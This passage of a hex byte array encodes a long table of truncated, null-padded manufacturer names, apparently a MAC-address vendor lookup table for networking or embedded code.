0x77, 0x65, 0x72, 0x44, 0x69, 0x73,\r\n0x53, 0x73, 0x64, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x53, 0x65, 0x74, 0x6f, 0x6e, 0x65, 0x00, 0x00,\r\n0x51, 0x75, 0x6f, 0x72, 0x69, 0x6f, 0x6e, 0x44,\r\n0x50, 0x6c, 0x61, 0x6e, 0x65, 0x74, 0x49, 0x6e,\r\n0x57, 0x6f, 0x72, 0x6c, 0x64, 0x45, 0x74, 0x68,\r\n0x4b, 0x72, 0x61, 0x74, 0x6f, 0x73, 0x45, 0x70,\r\n0x45, 0x78, 0x65, 0x6f, 0x00, 0x00, 0x00, 0x00,\r\n0x48, 0x6f, 0x61, 0x74, 0x65, 0x63, 0x68, 0x54,\r\n0x4c, 0x65, 0x67, 0x6f, 0x53, 0x79, 0x73, 0x74,\r\n0x46, 0x6c, 0x65, 0x78, 0x2d, 0x50, 0x49, 0x6e,\r\n0x46, 0x75, 0x68, 0x6f, 0x54, 0x65, 0x63, 0x68,\r\n0x41, 0x65, 0x67, 0x61, 0x74, 0x65, 0x00, 0x00,\r\n0x46, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x74, 0x65,\r\n0x5a, 0x4d, 0x50, 0x52, 0x61, 0x64, 0x77, 0x61,\r\n0x48, 0x61, 0x72, 0x6d, 0x61, 0x6e, 0x53, 0x70,\r\n0x47, 0x72, 0x69, 0x70, 0x41, 0x75, 0x64, 0x69,\r\n0x54, 0x72, 0x61, 0x63, 0x6b, 0x66, 0x6c, 0x6f,\r\n0x41, 0x69, 0x72, 0x64, 0x65, 0x66, 0x65, 0x6e,\r\n0x46, 0x61, 0x69, 0x72, 0x6d, 0x6f, 0x75, 0x6e,\r\n0x4e, 0x6f, 0x76, 0x61, 0x74, 0x69, 0x75, 0x6d,\r\n0x4c, 0x69, 0x79, 0x75, 0x68, 0x54, 0x65, 0x63,\r\n0x4b, 0x62, 0x74, 0x4d, 0x6f, 0x62, 0x69, 0x6c,\r\n0x50, 0x72, 0x6f, 0x64, 0x2d, 0x45, 0x6c, 0x00,\r\n0x43, 0x65, 0x6c, 0x6c, 0x6f, 0x6e, 0x46, 0x72,\r\n0x51, 0x75, 0x61, 0x6e, 0x74, 0x69, 0x65, 0x72,\r\n0x41, 0x2d, 0x54, 0x65, 0x63, 0x53, 0x75, 0x62,\r\n0x45, 0x69, 0x73, 0x68, 0x69, 0x6e, 0x45, 0x6c,\r\n0x54, 0x70, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x59, 0x75, 0x6c, 0x6f, 0x6e, 0x67, 0x43, 0x6f,\r\n0x41, 0x72, 0x62, 0x69, 0x74, 0x72, 0x6f, 0x6e,\r\n0x53, 0x6b, 0x6e, 0x65, 0x74, 0x00, 0x00, 0x00,\r\n0x53, 0x79, 0x6d, 0x70, 0x68, 0x6f, 0x78, 0x49,\r\n0x5a, 0x65, 0x6e, 0x77, 0x61, 0x79, 0x45, 0x6e,\r\n0x42, 0x75, 0x72, 0x79, 0x00, 0x00, 0x00, 0x00,\r\n0x45, 0x75, 0x72, 0x6f, 0x63, 0x62, 0x50, 0x68,\r\n0x42, 0x69, 0x68, 0x6c, 0x2b, 0x57, 0x69, 0x65,\r\n0x45, 0x6f, 0x6e, 0x43, 0x6f, 0x6d, 0x6d, 0x75,\r\n0x53, 0x6b, 0x79, 0x77, 0x6f, 0x72, 0x74, 0x68,\r\n0x48, 0x61, 0x76, 0x65, 0x72, 0x26, 0x42, 0x6f,\r\n0x49, 0x72, 0x65, 0x78, 0x54, 0x65, 0x63, 0x68,\r\n0x53, 0x6b, 0x79, 0x2d, 0x4c, 0x69, 0x6e, 0x65,\r\n0x44, 0x69, 0x62, 0x6f, 0x73, 0x73, 0x00, 0x00,\r\n0x42, 0x6c, 0x75, 0x65, 0x62, 0x69, 0x72, 0x64,\r\n0x42, 0x61, 0x6c, 0x6c, 0x79, 0x47, 0x61, 0x6d,\r\n0x50, 0x72, 0x6f, 0x44, 0x65, 0x78, 0x00, 0x00,\r\n0x57, 0x65, 0x62, 0x69, 0x6f, 0x49, 0x6e, 0x74,\r\n0x44, 0x6f, 0x6e, 0x6a, 0x69, 0x6e, 0x00, 0x00,\r\n0x45, 0x6c, 0x69, 0x73, 0x61, 0x4f, 0x79, 0x6a,\r\n0x4b, 0x61, 0x72, 0x6c, 0x53, 0x74, 0x6f, 0x72,\r\n0x43, 0x68, 0x75, 0x62, 0x62, 0x43, 0x73, 0x63,\r\n0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x65, 0x6e,\r\n0x50, 0x69, 0x6c, 0x6b, 0x6f, 0x72, 0x45, 0x6c,\r\n0x49, 0x64, 0x2d, 0x43, 0x6f, 0x6e, 0x66, 0x69,\r\n0x50, 0x61, 0x72, 0x61, 0x6c, 0x61, 0x6e, 0x00,\r\n0x44, 0x73, 0x6c, 0x50, 0x61, 0x72, 0x74, 0x6e,\r\n0x4b, 0x6f, 0x72, 0x77, 0x69, 0x6e, 0x00, 0x00,\r\n0x56, 0x69, 0x6d, 0x69, 0x63, 0x72, 0x6f, 0x00,\r\n0x4a, 0x2d, 0x54, 0x65, 0x6b, 0x49, 0x6e, 0x63,\r\n0x4d, 0x6f, 0x73, 0x65, 0x72, 0x2d, 0x42, 0x61,\r\n0x50, 0x6f, 0x77, 0x65, 0x72, 0x6c, 0x69, 0x6e,\r\n0x53, 0x65, 0x6e, 0x6e, 0x68, 0x65, 0x69, 0x73,\r\n0x41, 0x76, 0x63, 0x54, 0x65, 0x63, 0x68, 0x6e,\r\n0x51, 0x64, 0x69, 0x54, 0x65, 0x63, 0x68, 0x6e,\r\n0x54, 0x26, 0x41, 0x4d, 0x6f, 0x62, 0x69, 0x6c,\r\n0x54, 0x6f, 0x6e, 0x69, 0x63, 0x44, 0x76, 0x62,\r\n0x51, 0x75, 0x61, 0x64, 0x72, 0x69, 0x63, 0x73,\r\n0x41, 0x6c, 0x73, 0x74, 0x6f, 0x6d, 0x54, 0x72,\r\n0x54, 0x76, 0x4f, 0x6e, 0x65, 0x00, 0x00, 0x00,\r\n0x56, 0x69, 0x6d, 0x74, 0x72, 0x6f, 0x6e, 0x45,\r\n0x41, 0x75, 0x74, 0x6f, 0x2d, 0x4d, 0x61, 0x73,\r\n0x33, 0x6c, 0x65, 0x61, 0x66, 0x4e, 0x65, 0x74,\r\n0x43, 0x65, 0x6e, 0x74, 0x72, 0x61, 0x6c, 0x69,\r\n0x49, 0x6e, 0x67, 0x65, 0x74, 0x65, 0x61, 0x6d,\r\n0x45, 0x7a, 0x75, 0x72, 0x69, 0x6f, 0x00, 0x00,\r\n0x44, 0x6f, 0x76, 0x61, 0x64, 0x6f, 0x46, 0x7a,\r\n0x41, 0x77, 0x65, 0x74, 0x61, 0x47, 0x26, 0x50,\r\n0x43, 0x77, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x32, 0x65, 0x69, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x4b, 0x65, 0x69, 0x43, 0x6f, 0x6d, 0x6d, 0x75,\r\n0x44, 0x61, 0x6e, 0x73, 0x65, 0x6e, 0x73, 0x6f,\r\n0x54, 0x6f, 0x68, 0x6f, 0x54, 0x65, 0x63, 0x68,\r\n0x42, 0x74, 0x2d, 0x4c, 0x69, 0x6e, 0x6b, 0x73,\r\n0x56, 0x6b, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x4b, 0x62, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x44, 0x72, 0x69, 0x76, 0x65, 0x63, 0x61, 0x6d,\r\n0x50, 0x68, 0x6f, 0x74, 0x6f, 0x6e, 0x69, 0x63,\r\n0x53, 0x65, 0x6f, 0x75, 0x6c, 0x43, 0x6f, 0x6d,\r\n0x50, 0x72, 0x6f, 0x63, 0x75, 0x72, 0x76, 0x65,\r\n0x57, 0x65, 0x61, 0x74, 0x68, 0x65, 0x72, 0x6e,\r\n0x4c, 0x61, 0x77, 0x2d, 0x43, 0x68, 0x61, 0x69,\r\n0x41, 0x74, 0x69, 0x49, 0x6e, 0x64, 0x75, 0x73,\r\n0x49, 0x6e, 0x66, 0x72, 0x61, 0x6e, 0x65, 0x74,\r\n0x50, 0x61, 0x6c, 0x6f, 0x64, 0x65, 0x78, 0x47,\r\n0x53, 0x65, 0x6d, 0x74, 0x65, 0x63, 0x68, 0x00,\r\n0x45, 0x6c, 0x65, 0x6b, 0x73, 0x65, 0x6e, 0x00,\r\n0x42, 0x61, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x53, 0x69, 0x72, 0x66, 0x54, 0x65, 0x63, 0x68,\r\n0x4e, 0x6f, 0x72, 0x74, 0x68, 0x41, 0x74, 0x6c,\r\n0x4e, 0x61, 0x74, 0x53, 0x65, 0x61, 0x74, 0x74,\r\n0x58, 0x63, 0x75, 0x74, 0x65, 0x4d, 0x6f, 0x62,\r\n0x48, 0x69, 0x6a, 0x69, 0x48, 0x69, 0x67, 0x68,\r\n0x41, 0x74, 0x65, 0x63, 0x68, 0x45, 0x6c, 0x65,\r\n0x5a, 0x61, 0x74, 0x41, 0x53, 0x00, 0x00, 0x00,\r\n0x43, 0x61, 0x73, 0x70, 0x69, 0x61, 0x6e, 0x00,\r\n0x43, 0x6f, 0x6d, 0x70, 0x61, 0x6c, 0x43, 0x6f,\r\n0x53, 0x79, 0x6e, 0x63, 0x63, 0x6f, 0x6d, 0x00,\r\n0x54, 0x64, 0x61, 0x54, 0x65, 0x63, 0x68, 0x50,\r\n0x53, 0x75, 0x6e, 0x77, 0x61, 0x79, 0x73, 0x00,\r\n0x53, 0x65, 0x6e, 0x65, 0x61, 0x00, 0x00, 0x00,\r\n0x4e, 0x69, 0x6e, 0x67, 0x62, 0x6f, 0x42, 0x69,\r\n0x46, 0x75, 0x74, 0x72, 0x6f, 0x6e, 0x69, 0x63,\r\n0x41, 0x72, 0x63, 0x68, 0x6f, 0x73, 0x00, 0x00,\r\n0x47, 0x69, 0x67, 0x61, 0x62, 0x65, 0x61, 0x6d,\r\n0x4c, 0x75, 0x6e, 0x64, 0x69, 0x6e, 0x6f, 0x76,\r\n0x53, 0x69, 0x6c, 0x69, 0x63, 0x6f, 0x6e, 0x73,\r\n0x46, 0x6f, 0x72, 0x64, 0x6c, 0x65, 0x79, 0x44,\r\n0x44, 0x79, 0x6e, 0x61, 0x6d, 0x69, 0x78, 0x50,\r\n0x53, 0x69, 0x67, 0x6d, 0x61, 0x44, 0x65, 0x73,\r\n0x54, 0x69, 0x62, 0x61, 0x4d, 0x65, 0x64, 0x69,\r\n0x52, 0x6f, 0x79, 0x61, 0x6c, 0x64, 0x69, 0x67,\r\n0x4b, 0x6f, 0x6b, 0x6f, 0x46, 0x69, 0x74, 0x6e,\r\n0x4f, 0x6d, 0x6e, 0x69, 0x73, 0x65, 0x6e, 0x73,\r\n0x44, 0x6d, 0x6f, 0x62, 0x69, 0x6c, 0x65, 0x53,\r\n0x43, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x66, 0x6f,\r\n0x45, 0x69, 0x64, 0x69, 0x63, 0x6f, 0x6d, 0x00,\r\n0x44, 0x61, 0x6c, 0x69, 0x61, 0x6e, 0x47, 0x6f,\r\n0x56, 0x69, 0x64, 0x65, 0x6f, 0x50, 0x72, 0x6f,\r\n0x41, 0x76, 0x69, 0x71, 0x74, 0x65, 0x63, 0x68,\r\n0x43, 0x65, 0x74, 0x72, 0x74, 0x61, 0x50, 0x6f,\r\n0x54, 0x6f, 0x68, 0x6b, 0x65, 0x6e, 0x00, 0x00,\r\n0x4a, 0x61, 0x74, 0x79, 0x45, 0x6c, 0x65, 0x63,\r\n0x57, 0x61, 0x6d, 0x69, 0x6e, 0x4f, 0x70, 0x74,\r\n0x4b, 0x64, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x4f, 0x73, 0x75, 0x6e, 0x67, 0x4d, 0x69, 0x64,\r\n0x4d, 0x6f, 0x73, 0x64, 0x61, 0x6e, 0x49, 0x6e,\r\n0x53, 0x68, 0x69, 0x6e, 0x63, 0x6f, 0x45, 0x6c,\r\n0x4d, 0x65, 0x74, 0x68, 0x6f, 0x64, 0x65, 0x45,\r\n0x54, 0x65, 0x63, 0x68, 0x66, 0x61, 0x69, 0x74,\r\n0x49, 0x6e, 0x67, 0x72, 0x69, 0x64, 0x00, 0x00,\r\n0x45, 0x78, 0x61, 0x6c, 0x74, 0x43, 0x6f, 0x6d,\r\n0x49, 0x6e, 0x65, 0x77, 0x44, 0x69, 0x67, 0x69,\r\n0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6c, 0x61, 0x00,\r\n0x54, 0x77, 0x69, 0x67, 0x43, 0x6f, 0x6d, 0x00,\r\n0x44, 0x75, 0x73, 0x74, 0x4e, 0x65, 0x74, 0x77,\r\n0x43, 0x61, 0x73, 0x61, 0x00, 0x00, 0x00, 0x00,\r\n0x47, 0x65, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68,\r\n0x49, 0x73, 0x63, 0x6f, 0x49, 0x6e, 0x74, 0x65,\r\n0x54, 0x69, 0x67, 0x65, 0x72, 0x4e, 0x65, 0x74,\r\n0x42, 0x72, 0x43, 0x6f, 0x6e, 0x74, 0x72, 0x6f,\r\n0x51, 0x73, 0x74, 0x69, 0x6b, 0x00, 0x00, 0x00,\r\n0x51, 0x6e, 0x6f, 0x54, 0x65, 0x63, 0x68, 0x6e,\r\n0x4c, 0x65, 0x69, 0x63, 0x61, 0x47, 0x65, 0x6f,\r\n0x56, 0x61, 0x6e, 0x73, 0x63, 0x6f, 0x45, 0x6c,\r\n0x41, 0x75, 0x64, 0x69, 0x6f, 0x63, 0x6f, 0x64,\r\n0x57, 0x69, 0x6e, 0x65, 0x67, 0x61, 0x72, 0x64,\r\n0x4e, 0x74, 0x4d, 0x69, 0x63, 0x72, 0x6f, 0x73,\r\n0x44, 0x69, 0x67, 0x69, 0x74, 0x00, 0x00, 0x00,\r\n0x54, 0x68, 0x65, 0x6f, 0x42, 0x65, 0x6e, 0x6e,\r\n0x49, 0x6d, 0x76, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x49, 0x6d, 0x61, 0x67, 0x65, 0x53, 0x65, 0x6e,\r\n0x46, 0x69, 0x74, 0x72, 0x65, 0x53, 0x50, 0x41,\r\n0x48, 0x61, 0x6e, 0x61, 0x7a, 0x65, 0x64, 0x65,\r\n0x53, 0x75, 0x6d, 0x6d, 0x69, 0x74, 0x44, 0x61,\r\n0x53, 0x74, 0x75, 0x64, 0x65, 0x72, 0x50, 0x72,\r\n0x4c, 0x69, 0x71, 0x75, 0x69, 0x64, 0x43, 0x6f,\r\n0x4d, 0x32, 0x63, 0x45, 0x6c, 0x65, 0x63, 0x74,\r\n0x54, 0x68, 0x65, 0x72, 0x6d, 0x6f, 0x52, 0x61,\r\n0x53, 0x65, 0x6c, 0x65, 0x78, 0x43, 0x6f, 0x6d,\r\n0x55, 0x62, 0x69, 0x63, 0x6f, 0x64, 0x00, 0x00,\r\n0x50, 0x72, 0x6f, 0x77, 0x61, 0x72, 0x65, 0x54,\r\n0x47, 0x6c, 0x6f, 0x62, 0x61, 0x6c, 0x54, 0x65,\r\n0x54, 0x61, 0x65, 0x6a, 0x69, 0x6e, 0x49, 0x6e,\r\n0x41, 0x78, 0x63, 0x65, 0x6e, 0x50, 0x68, 0x6f,\r\n0x46, 0x78, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x4e, 0x65, 0x75, 0x6c, 0x69, 0x6f, 0x6e, 0x00,\r\n0x41, 0x75, 0x74, 0x6f, 0x6d, 0x61, 0x74, 0x69,\r\n0x53, 0x63, 0x69, 0x65, 0x6e, 0x63, 0x65, 0x2d,\r\n0x53, 0x66, 0x72, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x41, 0x64, 0x63, 0x54, 0x65, 0x6c, 0x65, 0x63,\r\n0x49, 0x6e, 0x74, 0x65, 0x6c, 0x57, 0x69, 0x72,\r\n0x49, 0x69, 0x74, 0x72, 0x6f, 0x6e, 0x00, 0x00,\r\n0x42, 0x72, 0x69, 0x67, 0x68, 0x74, 0x48, 0x65,\r\n0x43, 0x6c, 0x6f, 0x75, 0x64, 0x61, 0x73, 0x74,\r\n0x45, 0x78, 0x74, 0x72, 0x65, 0x6d, 0x65, 0x45,\r\n0x4e, 0x65, 0x6f, 0x6c, 0x6f, 0x67, 0x79, 0x00,\r\n0x4c, 0x65, 0x75, 0x63, 0x6f, 0x74, 0x72, 0x6f,\r\n0x42, 0x65, 0x6c, 0x6b, 0x69, 0x6e, 0x49, 0x6e,\r\n0x42, 0x6c, 0x75, 0x62, 0x65, 0x72, 0x69, 0x47,\r\n0x44, 0x65, 0x66, 0x69, 0x64, 0x65, 0x76, 0x00,\r\n0x44, 0x65, 0x63, 0x6b, 0x53, 0x72, 0x6c, 0x00,\r\n0x41, 0x72, 0x61, 0x6e, 0x65, 0x6f, 0x00, 0x00,\r\n0x49, 0x6e, 0x6e, 0x6f, 0x74, 0x7a, 0x00, 0x00,\r\n0x46, 0x72, 0x65, 0x65, 0x64, 0x6f, 0x6d, 0x39,\r\n0x54, 0x72, 0x69, 0x6d, 0x62, 0x6c, 0x65, 0x00,\r\n0x4e, 0x65, 0x6f, 0x6b, 0x6f, 0x72, 0x6f, 0x73,\r\n0x48, 0x79, 0x75, 0x6e, 0x64, 0x61, 0x65, 0x59,\r\n0x53, 0x6f, 0x63, 0x6f, 0x6d, 0x65, 0x63, 0x00,\r\n0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x70, 0x6f, 0x72,\r\n0x44, 0x79, 0x6e, 0x61, 0x6d, 0x69, 0x63, 0x4e,\r\n0x50, 0x61, 0x72, 0x61, 0x6d, 0x61, 0x2d, 0x54,\r\n0x49, 0x63, 0x61, 0x74, 0x63, 0x68, 0x00, 0x00,\r\n0x47, 0x73, 0x69, 0x47, 0x72, 0x6f, 0x75, 0x70,\r\n0x4f, 0x6e, 0x6c, 0x69, 0x6e, 0x65, 0x00, 0x00,\r\n0x44, 0x61, 0x67, 0x73, 0x00, 0x00, 0x00, 0x00,\r\n0x4e, 0x66, 0x6f, 0x72, 0x65, 0x54, 0x65, 0x63,\r\n0x41, 0x72, 0x6b, 0x69, 0x6e, 0x6f, 0x48, 0x69,\r\n0x47, 0x65, 0x53, 0x65, 0x63, 0x75, 0x72, 0x69,\r\n0x56, 0x69, 0x6e, 0x63, 0x69, 0x4c, 0x61, 0x62,\r\n0x52, 0x69, 0x78, 0x54, 0x65, 0x63, 0x68, 0x6e,\r\n0x54, 0x68, 0x72, 0x75, 0x76, 0x69, 0x73, 0x69,\r\n0x41, 0x63, 0x73, 0x53, 0x6f, 0x6c, 0x75, 0x74,\r\n0x53, 0x68, 0x61, 0x72, 0x70, 0x00, 0x00, 0x00,\r\n0x44, 0x6f, 0x6e, 0x67, 0x73, 0x65, 0x6f, 0x53,\r\n0x5a, 0x65, 0x64, 0x2d, 0x33, 0x00, 0x00, 0x00,\r\n0x58, 0x65, 0x6e, 0x6f, 0x6c, 0x69, 0x6e, 0x6b,\r\n0x4e, 0x61, 0x69, 0x74, 0x6f, 0x44, 0x65, 0x6e,\r\n0x53, 0x6f, 0x6c, 0x61, 0x72, 0x54, 0x65, 0x63,\r\n0x45, 0x73, 0x73, 0x65, 0x6e, 0x74, 0x69, 0x61,\r\n0x41, 0x74, 0x6d, 0x65, 0x64, 0x69, 0x61, 0x00,\r\n0x41, 0x63, 0x63, 0x65, 0x6e, 0x73, 0x65, 0x54,\r\n0x45, 0x61, 0x72, 0x66, 0x6f, 0x72, 0x63, 0x65,\r\n0x5a, 0x69, 0x6e, 0x77, 0x61, 0x76, 0x65, 0x00,\r\n0x43, 0x79, 0x6d, 0x70, 0x68, 0x6f, 0x6e, 0x69,\r\n0x41, 0x76, 0x61, 0x67, 0x6f, 0x54, 0x65, 0x63,\r\n0x4b, 0x69, 0x79, 0x6f, 0x6e, 0x00, 0x00, 0x00,\r\n0x50, 0x69, 0x76, 0x6f, 0x74, 0x33, 0x00, 0x00,\r\n0x43, 0x6f, 0x72, 0x65, 0x00, 0x00, 0x00, 0x00,\r\n0x44, 0x75, 0x63, 0x61, 0x74, 0x69, 0x53, 0x69,\r\n0x50, 0x61, 0x78, 0x43, 0x6f, 0x6d, 0x70, 0x75,\r\n0x41, 0x72, 0x74, 0x69, 0x49, 0x6e, 0x64, 0x75,\r\n0x41, 0x70, 0x64, 0x43, 0x6f, 0x6d, 0x6d, 0x75,\r\n0x41, 0x73, 0x74, 0x72, 0x6f, 0x53, 0x74, 0x72,\r\n0x4c, 0x61, 0x6b, 0x65, 0x74, 0x75, 0x6e, 0x65,\r\n0x45, 0x6c, 0x65, 0x73, 0x74, 0x61, 0x00, 0x00,\r\n0x54, 0x74, 0x65, 0x47, 0x65, 0x72, 0x6d, 0x61,\r\n0x4d, 0x65, 0x73, 0x6f, 0x53, 0x63, 0x61, 0x6c,\r\n0x4f, 0x62, 0x73, 0x69, 0x64, 0x69, 0x61, 0x6e,\r\n0x43, 0x65, 0x6e, 0x74, 0x72, 0x61, 0x6c, 0x4d,\r\n0x51, 0x75, 0x69, 0x63, 0x6b, 0x74, 0x65, 0x6c,\r\n0x41, 0x73, 0x73, 0x61, 0x41, 0x62, 0x6c, 0x6f,\r\n0x41, 0x7a, 0x61, 0x6c, 0x65, 0x61, 0x4e, 0x65,\r\n0x53, 0x6d, 0x61, 0x72, 0x74, 0x6c, 0x69, 0x6e,\r\n0x49, 0x64, 0x74, 0x54, 0x65, 0x63, 0x68, 0x6e,\r\n0x4d, 0x65, 0x73, 0x68, 0x63, 0x6f, 0x6d, 0x54,\r\n0x57, 0x6f, 0x72, 0x6c, 0x64, 0x73, 0x6d, 0x61,\r\n0x41, 0x70, 0x70, 0x6c, 0x69, 0x65, 0x64, 0x42,\r\n0x47, 0x72, 0x65, 0x79, 0x73, 0x74, 0x6f, 0x6e,\r\n0x4c, 0x6f, 0x62, 0x65, 0x6e, 0x6e, 0x00, 0x00,\r\n0x53, 0x70, 0x61, 0x72, 0x72, 0x45, 0x6c, 0x65,\r\n0x57, 0x69, 0x73, 0x65, 0x6d, 0x62, 0x65, 0x64,\r\n0x42, 0x72, 0x6f, 0x74, 0x68, 0x65, 0x72, 0x42,\r\n0x50, 0x68, 0x69, 0x6c, 0x69, 0x70, 0x73, 0x4c,\r\n0x5a, 0x65, 0x6e, 0x69, 0x74, 0x72, 0x6f, 0x6e,\r\n0x44, 0x61, 0x72, 0x74, 0x73, 0x54, 0x65, 0x63,\r\n0x43, 0x68, 0x65, 0x63, 0x6b, 0x70, 0x6f, 0x69,\r\n0x47, 0x75, 0x6e, 0x6e, 0x65, 0x62, 0x6f, 0x43,\r\n0x4e, 0x69, 0x6e, 0x67, 0x62, 0x6f, 0x59, 0x69,\r\n0x4c, 0x69, 0x6e, 0x74, 0x65, 0x63, 0x68, 0x00,\r\n0x46, 0x61, 0x6c, 0x63, 0x6f, 0x6d, 0x57, 0x69,\r\n0x54, 0x69, 0x67, 0x69, 0x00, 0x00, 0x00, 0x00,\r\n0x52, 0x69, 0x74, 0x74, 0x6d, 0x65, 0x79, 0x65,\r\n0x54, 0x65, 0x6c, 0x73, 0x79, 0x45, 0x6c, 0x65,\r\n0x41, 0x7a, 0x6f, 0x6e, 0x69, 0x63, 0x54, 0x65,\r\n0x53, 0x6d, 0x61, 0x72, 0x74, 0x69, 0x72, 0x65,\r\n0x43, 0x68, 0x61, 0x6e, 0x74, 0x53, 0x69, 0x6e,\r\n0x44, 0x65, 0x70, 0x72, 0x61, 0x67, 0x53, 0x63,\r\n0x4b, 0x65, 0x6c, 0x6d, 0x61, 0x6e, 0x00, 0x00,\r\n0x53, 0x69, 0x72, 0x69, 0x74, 0x00, 0x00, 0x00,\r\n0x41, 0x70, 0x72, 0x69, 0x63, 0x6f, 0x72, 0x6e,\r\n0x52, 0x6f, 0x62, 0x6f, 0x74, 0x65, 0x63, 0x68,\r\n0x33, 0x73, 0x6f, 0x66, 0x74, 0x00, 0x00, 0x00,\r\n0x43, 0x61, 0x6d, 0x72, 0x69, 0x76, 0x6f, 0x78,\r\n0x4d, 0x69, 0x78, 0x53, 0x52, 0x4c, 0x00, 0x00,\r\n0x59, 0x6f, 0x73, 0x69, 0x6e, 0x45, 0x6c, 0x65,\r\n0x4d, 0x6f, 0x62, 0x69, 0x6c, 0x65, 0x43, 0x6f,\r\n0x45, 0x64, 0x6d, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x53, 0x65, 0x6e, 0x74, 0x69, 0x76, 0x69, 0x73,\r\n0x45, 0x6c, 0x61, 0x62, 0x2d, 0x45, 0x78, 0x70,\r\n0x4f, 0x4e, 0x65, 0x69, 0x6c, 0x50, 0x72, 0x6f,\r\n0x41, 0x63, 0x65, 0x6e, 0x65, 0x74, 0x00, 0x00,\r\n0x47, 0x61, 0x69, 0x2d, 0x54, 0x72, 0x6f, 0x6e,\r\n0x45, 0x6e, 0x65, 0x72, 0x6d, 0x65, 0x74, 0x00,\r\n0x41, 0x63, 0x69, 0x73, 0x74, 0x4d, 0x65, 0x64,\r\n0x53, 0x6b, 0x54, 0x65, 0x6c, 0x65, 0x73, 0x79,\r\n0x41, 0x66, 0x74, 0x65, 0x6b, 0x49, 0x6e, 0x66,\r\n0x52, 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x53, 0x65,\r\n0x50, 0x65, 0x65, 0x72, 0x6c, 0x65, 0x73, 0x73,\r\n0x41, 0x71, 0x75, 0x61, 0x6e, 0x74, 0x69, 0x61,\r\n0x54, 0x6f, 0x6e, 0x7a, 0x65, 0x54, 0x65, 0x63,\r\n0x4e, 0x6f, 0x76, 0x61, 0x74, 0x72, 0x6f, 0x6e,\r\n0x47, 0x61, 0x6d, 0x62, 0x72, 0x6f, 0x4c, 0x75,\r\n0x53, 0x65, 0x64, 0x6f, 0x00, 0x00, 0x00, 0x00,\r\n0x53, 0x79, 0x72, 0x69, 0x6e, 0x78, 0x49, 0x6e,\r\n0x54, 0x6f, 0x75, 0x63, 0x68, 0x74, 0x75, 0x6e,\r\n0x54, 0x69, 0x62, 0x65, 0x74, 0x73, 0x79, 0x73,\r\n0x54, 0x72, 0x61, 0x74, 0x65, 0x63, 0x54, 0x65,\r\n0x43, 0x6f, 0x68, 0x65, 0x72, 0x65, 0x6e, 0x74,\r\n0x50, 0x75, 0x72, 0x65, 0x74, 0x65, 0x63, 0x68,\r\n0x43, 0x6d, 0x50, 0x72, 0x65, 0x63, 0x69, 0x73,\r\n0x4b, 0x74, 0x66, 0x54, 0x65, 0x63, 0x68, 0x6e,\r\n0x51, 0x75, 0x61, 0x6e, 0x74, 0x61, 0x4d, 0x69,\r\n0x4d, 0x61, 0x72, 0x61, 0x43, 0x6f, 0x6e, 0x73,\r\n0x4b, 0x79, 0x6f, 0x63, 0x65, 0x72, 0x61, 0x44,\r\n0x43, 0x65, 0x63, 0x57, 0x69, 0x72, 0x65, 0x6c,\r\n0x53, 0x63, 0x72, 0x65, 0x65, 0x6e, 0x53, 0x65,\r\n0x49, 0x6d, 0x63, 0x61, 0x2d, 0x47, 0x6d, 0x62,\r\n0x4f, 0x70, 0x74, 0x69, 0x63, 0x6f, 0x6d, 0x43,\r\n0x54, 0x68, 0x69, 0x6e, 0x6c, 0x69, 0x6e, 0x78,\r\n0x45, 0x74, 0x79, 0x6d, 0x6f, 0x74, 0x69, 0x63,\r\n0x4d, 0x6f, 0x6e, 0x73, 0x6f, 0x6f, 0x6e, 0x4d,\r\n0x42, 0x6c, 0x75, 0x65, 0x63, 0x68, 0x69, 0x70,\r\n0x49, 0x6f, 0x6e, 0x47, 0x65, 0x6f, 0x70, 0x68,\r\n0x4d, 0x61, 0x67, 0x6e, 0x75, 0x6d, 0x53, 0x65,\r\n0x41, 0x61, 0x69, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x53, 0x70, 0x61, 0x6e, 0x73, 0x4c, 0x6f, 0x67,\r\n0x43, 0x61, 0x6e, 0x6b, 0x6f, 0x54, 0x65, 0x63,\r\n0x44, 0x61, 0x65, 0x6d, 0x79, 0x75, 0x6e, 0x67,\r\n0x43, 0x6c, 0x69, 0x70, 0x73, 0x61, 0x6c, 0x41,\r\n0x44, 0x61, 0x63, 0x6f, 0x73, 0x54, 0x65, 0x63,\r\n0x57, 0x6f, 0x6f, 0x6a, 0x6f, 0x6f, 0x69, 0x74,\r\n0x53, 0x7a, 0x63, 0x6f, 0x6d, 0x42, 0x72, 0x6f,\r\n0x52, 0x65, 0x6e, 0x75, 0x45, 0x6c, 0x65, 0x63,\r\n0x5a, 0x65, 0x72, 0x6f, 0x6e, 0x41, 0x6c, 0x6c,\r\n0x4c, 0x69, 0x67, 0x4e, 0x65, 0x6f, 0x70, 0x74,\r\n0x50, 0x79, 0x72, 0x61, 0x6d, 0x69, 0x64, 0x4d,\r\n0x43, 0x65, 0x6d, 0x53, 0x6f, 0x6c, 0x75, 0x74,\r\n0x4d, 0x6f, 0x74, 0x65, 0x63, 0x68, 0x49, 0x6e,\r\n0x46, 0x6f, 0x72, 0x63, 0x6f, 0x6d, 0x53, 0x70,\r\n0x46, 0x61, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x53, 0x75, 0x70, 0x72, 0x65, 0x6d, 0x61, 0x00,\r\n0x41, 0x6d, 0x75, 0x6c, 0x65, 0x74, 0x48, 0x6f,\r\n0x54, 0x61, 0x6c, 0x6f, 0x73, 0x53, 0x79, 0x73,\r\n0x50, 0x6c, 0x61, 0x79, 0x6c, 